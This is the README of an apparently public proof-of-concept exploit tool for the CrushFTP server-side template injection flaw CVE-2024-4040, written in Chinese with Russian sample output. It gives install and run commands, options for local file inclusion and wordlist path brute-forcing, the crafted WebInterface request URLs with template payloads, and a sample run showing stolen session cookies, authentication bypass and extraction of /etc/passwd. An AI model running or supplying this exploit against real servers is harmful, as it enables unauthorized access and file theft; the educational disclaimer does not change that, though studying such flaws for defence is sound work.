GenCrushSSTIExploit 是一个针对 CrushFTP 中 SSTI(服务器端模板注入)漏洞(CVE-2024-4040)的 PoC 利用工具。此工具展示了如何利用此漏洞,仅供教育和道德黑客目的使用。
rich 实现美观且样式化的控制台输出。⚠️ 请负责任地使用此工具!它仅用于研究和教育目的。作者不对因使用此工具造成的任何滥用或损害负责。
pip(Python 包管理工具)git clone https://github.com/geniuszly/GenCrushSSTIExploit
cd GenCrushSSTIExploit
pip install -r requirements.txt
python GenCrushSSTIExploit.py -t <目标URL>
-t / --target:指定存在漏洞的 CrushFTP 服务器的目标 URL。-l / --lfi:本地文件包含。指定要提取的文件。-w / --wordlist:指定用于暴力破解文件路径的字典。python GenCrushSSTIExploit.py -t http://example.com -l /etc/passwd
★ Добро пожаловать в GenCrushSSTIExploit ★
CrushFTP SSTI PoC (CVE-2024-4040)
Автор: geniuszly
Использование: только для учебных и этических целей
--------------------------------------------------
[*] Подключение к ServerSessionAJAX...
[+] Успешно подключено к ServerSessionAJAX
[+] Куки CrushAuth: abc123def456ghi789
[+] Куки currentAuth: xyz987
[*] Попытка эксплуатации уязвимости SSTI...
[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={hostname}&names=/a
[+] Успешная эксплуатация уязвимости SSTI
[+] Ответ сервера: Hostname: example.com
[*] Попытка обхода аутентификации...
[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={working_dir}&names=/a
[+] Обход аутентификации успешен
[+] Извлечение /etc/passwd...
[+] Успешное извлечение /etc/passwd
[+] Извлеченное содержимое:
root:x:0:0:root:/root:/bin/bash
...